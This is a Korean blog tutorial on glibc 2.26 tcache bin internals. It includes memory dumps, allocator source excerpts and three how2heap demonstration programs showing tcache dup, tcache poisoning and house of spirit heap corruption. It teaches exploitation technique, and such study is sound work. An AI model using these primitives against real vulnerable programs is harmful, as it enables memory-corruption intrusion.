PWNABLE] Tcache bin attack

woounnan·2020년 4월 20일
1

skills

목록 보기
24/39
post-thumbnail

개요

glibc-2.26버전에 업데이트된 tcache bin을 이용한 취약점에 대해 다루는 글이며, 취약점 실습을 위해 glibc-2.26버전을 기준으로 작성하는 글이다.


선행지식

다음을 참고

https://velog.io/@woounnan/SYSTEM-Heap-Basics-Bean

Tcache Bin

ctf wiki에 설명이 잘 나와있다.

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/implementation/tcache/

Tcache is a technique introduced after glibc 2.26 (ubuntu 17.10) (see commit), the purpose is to improve The performance of heap management. But while improving performance, it has abandoned a lot of security checks, so there are many new ways to use it.

중요한 점은, 기존 bin에 존재하는 몇가지 시큐어 검사가 없어서 익스플로잇 하기 용이하다는 것이다.

특징

취약점 이해를 위한 주요 특징에 대해 살펴본다.

single linked list이다.

free되었을 때 데이터의 첫번째 8바이트는 같은 bin의 이전 free 청크를 가리킨다.

gdb-peda$ x/80gx 0x5555555592a0-0x10
0x555555559290: 0x0000000000000000      0x0000000000000101
0x5555555592a0: 0x0000000000000000      0x0000555555559010
0x5555555592b0: 0x4141414141414141      0x4141414141414141
0x5555555592c0: 0x4141414141414141      0x4141414141414141
0x5555555592d0: 0x4141414141414141      0x4141414141414141
0x5555555592e0: 0x4141414141414141      0x4141414141414141
0x5555555592f0: 0x4141414141414141      0x4141414141414141
0x555555559300: 0x4141414141414141      0x4141414141414141
0x555555559310: 0x4141414141414141      0x4141414141414141
0x555555559320: 0x4141414141414141      0x4141414141414141
0x555555559330: 0x4141414141414141      0x4141414141414141
0x555555559340: 0x4141414141414141      0x4141414141414141
0x555555559350: 0x4141414141414141      0x4141414141414141
0x555555559360: 0x4141414141414141      0x4141414141414141
0x555555559370: 0x4141414141414141      0x4141414141414141
0x555555559380: 0x4141414141414141      0x4141414141414141
0x555555559390: 0x0000000000000000      0x0000000000000101
0x5555555593a0: 0x00005555555592a0      0x0000555555559010
0x5555555593b0: 0x4242424242424242      0x4242424242424242
0x5555555593c0: 0x4242424242424242      0x4242424242424242
0x5555555593d0: 0x4242424242424242      0x4242424242424242
0x5555555593e0: 0x4242424242424242      0x4242424242424242
0x5555555593f0: 0x4242424242424242      0x4242424242424242
0x555555559400: 0x4242424242424242      0x4242424242424242

2번째 free청크를 보면 0x00005555555592a0, 즉 이전 청크를 가리키고 있는 것을 알 수 있다.

보호 처리가 없다.

tcache에 free 청크를 insert할 때 코드를 보면

if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);if (tcache
    && tc_idx < mp_.tcache_bins // 64
    && tcache->counts[tc_idx] < mp_.tcache_count) // 7
      {
    tcache_put (p, tc_idx);
    return;
      }
  }

prev_inuse를 검사하는 등의 보호처리가 없이, 사이즈와 개수가 충족되면 free된 청크를 bin에 추가한다.

할당해줄 때의 코드도 마찬가지이다.

/* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes = request2size (bytes);
  size_t tc_idx = csize2tidx (tbytes);MAYBE_INIT_TCACHE ();
​
  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL)
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;

따로 검사가 없다.

따라서, 청크를 조작하는 것이 간단하고 double free 같은 버그를 유발하여 취약점에 이용할 수 있다.

※패치되어, double free에 대한 검사가 추가되었다.※

free된 청크가 가장 우선적 tcache에 배치된다.

단, 사이즈가 0x408이하일 경우이다.

다행히 tcache는 각 bin이 수용가능한 청크의 수가 7개로, 그 이상을 free시킨다면 tcache bin이 아닌 small이나 large 같은 unsorted bin에 저장되어 필요한 경우 우회할 수 있다.

for(int i = 0; i < 7; i++)
	malloc(0xf0)
unsortedbin = malloc(0xf0) 

공격

tcache dup

double free bug를 이용하여 연속적으로 같은 공간을 할당받는 것이다.

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");

	fprintf(stderr, "Allocating buffer.\n");
	int *a = malloc(8);

	fprintf(stderr, "malloc(8): %p\n", a);
	fprintf(stderr, "Freeing twice...\n");
	free(a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
	fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));

	return 0;
}

※double free를 이용하는 해당 공격은 최신 버전에서 익스플로잇되지 않는다.※

tcache poisoning

다음 청크를 가리키는 fd값을 수정하여

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
	fprintf(stderr, "This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
	       "returning a pointer to an arbitrary location (in this case, the stack).\n"
	       "The attack is very similar to fastbin corruption attack.\n\n");

	size_t stack_var;
	fprintf(stderr, "The address we want malloc() to return is %p.\n", (char *)&stack_var);

	fprintf(stderr, "Allocating 1 buffer.\n");
	intptr_t *a = malloc(128);
	fprintf(stderr, "malloc(128): %p\n", a);
	fprintf(stderr, "Freeing the buffer...\n");
	free(a);

	fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
	fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
		"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
	a[0] = (intptr_t)&stack_var;

	fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
	fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);

	intptr_t *b = malloc(128);
	fprintf(stderr, "2nd malloc(128): %p\n", b);
	fprintf(stderr, "We got the control\n");

	return 0;
}

tcache house of spirit

포인터가 유효한지, 사이즈가 일치하는지만 검사하기 때문에, 조작된 사이즈값과 fd가 저장된 fake 청크를 만들어서 free시키면 tcache bin에 저장되고, 다음 할당 때 조작한 fd였던 주소값이 반환되는 취약점이다.

#include <stdio.h>
#include <stdlib.h>int main()
{
        unsigned long long *a; //pointer that will be overwritten
        unsigned long long fake_chunks[10]; //fake chunk regionfprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
​
        fake_chunks[1] = 0x40; // this is the size
        a = &fake_chunks[2];free(a);fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

출처

https://github.com/shellphish/how2heap/tree/master/glibc_2.26

0개의 댓글